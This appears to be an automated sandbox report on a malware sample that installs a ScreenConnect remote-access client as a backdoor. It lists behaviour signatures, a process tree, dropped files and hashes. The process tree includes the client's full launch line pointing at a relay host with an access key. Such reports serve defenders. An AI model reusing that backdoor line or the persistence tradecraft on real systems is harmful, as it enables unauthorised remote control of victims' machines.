Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 09:20

General

  • Target
    2026-07-23_1b66a222c74b7c889d96902260e81da8_amadey_elex_glassworm_hijackloader_icedid_luca-stealer_n.exe
  • Size 5.0MB
  • Sample260723-lay47aba85
  • SHA256 3c50648a814c910e0dd75b3066ce386742373e12fb98e0657158396e12b1d16b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 20 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-23_1b66a222c74b7c889d96902260e81da8_amadey_elex_glassworm_hijackloader_icedid_luca-stealer_n.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-23_1b66a222c74b7c889d96902260e81da8_amadey_elex_glassworm_hijackloader_icedid_luca-stealer_n.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\setup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:2400
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E04B322F4D37C35DB77DF1D31FD62F36 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB116.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240759218 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5084
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3524
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 617B4171D1B187B1467269CCA89F89B3
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2416
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 76D546B7163B992204F4147C5D465541 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5128
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1852
    • C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.ClientService.exe" "?e=Access&h=instance-ohfrcy-relay.screenconnect.com&p=443&s=ccb5a746-efb5-45d0-a17e-e1960fb41a37&k=BgIAAACkAABSU0ExAAgAAAEAAQBZBxE%2b%2fLmV2LWEo6f3GK6kMCawIOzG2i9%2fLGy74%2bJOSffsnxdF596HGQFsa5Xbt1odASOkNVzF%2b6%2fbeG05DFjayWyir4lssBizvNB2W8iUTyb9R%2fDlDWkZqxh2xJ%2bMYx59GuM6%2fFTsfAOeC8p5clju7OS20ktMN7bnRsFe7WUr3p03lX9z3bbLzx52ghTN7zX4EI4mAK1T99H%2bmkOqiGxSxtBZAkT1gbstSBa0768hMWd0fnoBJPifWdshoQagaofkAhkN8AmDk09yqRef%2bev7ajtvVp4oVIZtB1asKzUrKkdJQ6fG5%2f%2f5103L5NcU9l1OvtJZB%2foUpJoe2JmaD927"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:676
      • C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.WindowsClient.exe" "RunRole" "201ff677-b529-4493-98e3-faaa42c16945" "User"
        2⤵
        • Executes dropped EXE
        PID:236

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59feaa.rbs

          • Path C:\Config.Msi\e59feaa.rbs
          • Size 213KB
          • SHA256 a65c84ff22fd677dfc35f3308943194218f3b6f3f3d4fdf0a464cab4f91d6292
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\Client.Override.en-US.resources
          • Size 336B
          • SHA256 5d51a011e7a175f62d08f4eefe57150effe9f391c9a9a246c8e4573cd6ba6f36
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\Client.en-US.resources
          • Size 47KB
          • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\Client.resources
          • Size 2KB
          • SHA256 2a9d8d6847f1fb064730c860a4c8aa71a347a54ef1f124ac5953c39de63b1393
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.Client.dll
          • Size 179KB
          • SHA256 4a49d6aba012345b5a8a5530a6e2bbca1841a954925ff531a00d77f959309d40
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.ClientService.dll
          • Size 54KB
          • SHA256 a29af3350c607c2d492b08ed7fa18c426e8ef631a1fbdf62436831cb8eea81a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.ClientService.exe
          • Size 95KB
          • SHA256 e8a69ea4a6b59df0ee5f91768a41106494c9358682c5686a5061a58c0e2240c0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 400edb602b31d44d6c04917ce2d85d54bea70f459bd755b5970a90954c439c63
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.WindowsClient.exe
          • Size 559KB
          • SHA256 12a5bcd7dd8176d2bfab9592700773654aefb0f25da208808539f2e9f3ea5112
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 746KB
          • SHA256 62b405f32a43da0c8e8ed14a58ec7b9b4422b154bfd4aed4f9be5de0bc6eb5e8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\app.config
          • Size 551B
          • SHA256 d11b6ccf9e181a4298f9e60718b7658365987d6baa548c8fc9b3206e90c15d45
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\system.config
          • Size 916B
          • SHA256 86da09d4493a392562deeeae059d1864f4e2b44d6a7efc275d24f72726dc3e25
          • MD5 SHA1 SHA512 TLSH

          MSIB116.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB116.tmp
          • Size 1022KB
          • SHA256 9fef0e87140b52d5cd59af0e84805637b75dbaaf0321ff8ab625660486533a56
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB116.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB116.tmp-\ScreenConnect.Core.dll
          • Size 482KB
          • SHA256 384a9cad42153fd4485dd4bf20f73ab803ed5a5d6d620d795747d5330ac8de1b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB116.tmp-\ScreenConnect.InstallerActions.dll
          • Size 20KB
          • SHA256 b5f75aefa6eed74994781f13c10cc39d9e50440f3c58ce774c29d5124405d227
          • MD5 SHA1 SHA512 SSDEEP TLSH

          setup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\setup.msi
          • Size 2.8MB
          • SHA256 23a92293670d4c86bc0d1c6a8c248cc2ee716ccae6d22ef635d804b109622b26
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI496.tmp

          • Path C:\Windows\Installer\MSI496.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          2fcmcojl.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\2fcmcojl.newcfg
          • Size 587B
          • SHA256 41a301580a2de2af816b4965bafed361fa637f38520eb078014b806d448ea357
          • MD5 SHA1 SHA512 TLSH

          3utv3d4o.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\3utv3d4o.newcfg
          • Size 587B
          • SHA256 a507cfdac923779940a24299527bb14719c9bda820ac99538b77e497290f2bab
          • MD5 SHA1 SHA512 TLSH

          40xrezdk.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\40xrezdk.newcfg
          • Size 587B
          • SHA256 79e44add908bf3fc1d7a00207b0e45c60ecbef309defc7eb9811dce9e62ce6e5
          • MD5 SHA1 SHA512 TLSH

          41ksaws2.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\41ksaws2.newcfg
          • Size 587B
          • SHA256 981f263c8ab76e7e8098afbfccee405725dde067742c204d595b970e5fa70daa
          • MD5 SHA1 SHA512 TLSH

          guz3cxca.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\guz3cxca.newcfg
          • Size 587B
          • SHA256 e026a9194cc0764c63293948a594b5dcea204d4c9aad72349ee1b6e9a8642867
          • MD5 SHA1 SHA512 TLSH

          p0ijz3rz.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\p0ijz3rz.newcfg
          • Size 587B
          • SHA256 74f3b567a7b82baa02d16a526961193dff830788bfeba038107d368f82374c86
          • MD5 SHA1 SHA512 TLSH

          rb5ho1ce.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\rb5ho1ce.newcfg
          • Size 587B
          • SHA256 1ce819777d921c2c8e144878c0f78e551f24b2b20183f73b9dec82760d6cea31
          • MD5 SHA1 SHA512 TLSH

          ssk0zbuw.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\ssk0zbuw.newcfg
          • Size 587B
          • SHA256 e3e939bc02ef418efb1d8fc4a3c0268c95bc09255e962bc418296503bbcd0515
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\user.config
          • Size 587B
          • SHA256 bf3b7d3d8ba38d2a7084b52483bbc23d6d195e0dbadf86c4c17aab44dc83131e
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 94a05185bfceac1b96abb50cd37aa41099f1f8a7ef15a1f7a687827b6f4eda41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {60786b33-8e45-41ad-980b-1b6637697865}_OnDiskSnapshotProp

          • Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{60786b33-8e45-41ad-980b-1b6637697865}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 25446533d5afc99963c75aa3b3beb10b8afc81c8aa91b24f2c7de88b14e9c8dd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/236-117-0x000000001B340000-0x000000001B4E0000-memory.dmp

          memory/236-115-0x00000000022A0000-0x00000000022D4000-memory.dmp

          memory/236-114-0x00000000000A0000-0x0000000000130000-memory.dmp

          memory/236-116-0x000000001B120000-0x000000001B19E000-memory.dmp

          memory/236-119-0x0000000002240000-0x0000000002254000-memory.dmp

          memory/236-118-0x000000001B4E0000-0x000000001B668000-memory.dmp

          memory/676-90-0x00000000047E0000-0x0000000004D9A000-memory.dmp

          memory/676-74-0x0000000003CF0000-0x0000000003D04000-memory.dmp

          memory/676-92-0x0000000004220000-0x00000000042B2000-memory.dmp

          memory/676-91-0x0000000003F80000-0x0000000003FD0000-memory.dmp

          memory/676-94-0x00000000042C0000-0x000000000437E000-memory.dmp

          memory/676-89-0x0000000004080000-0x0000000004220000-memory.dmp

          memory/676-80-0x0000000003D50000-0x0000000003D84000-memory.dmp

          memory/1844-6-0x0000000074580000-0x0000000074D3C000-memory.dmp

          memory/1844-11-0x0000000074580000-0x0000000074D3C000-memory.dmp

          memory/1844-8-0x0000000074580000-0x0000000074D3C000-memory.dmp

          memory/1844-0-0x0000000074592000-0x0000000074593000-memory.dmp

          memory/1844-7-0x0000000074580000-0x0000000074D3C000-memory.dmp

          memory/1844-5-0x0000000005A10000-0x0000000005A28000-memory.dmp

          memory/1844-4-0x0000000005980000-0x00000000059FE000-memory.dmp

          memory/1844-3-0x0000000074580000-0x0000000074D3C000-memory.dmp

          memory/1844-2-0x0000000005CE0000-0x0000000005F9E000-memory.dmp

          memory/1844-1-0x00000000033F0000-0x00000000033F8000-memory.dmp

          memory/5084-35-0x0000000005B60000-0x0000000005BDE000-memory.dmp

          memory/5084-31-0x0000000005A30000-0x0000000005A3C000-memory.dmp

          memory/5084-27-0x0000000005A40000-0x0000000005A6E000-memory.dmp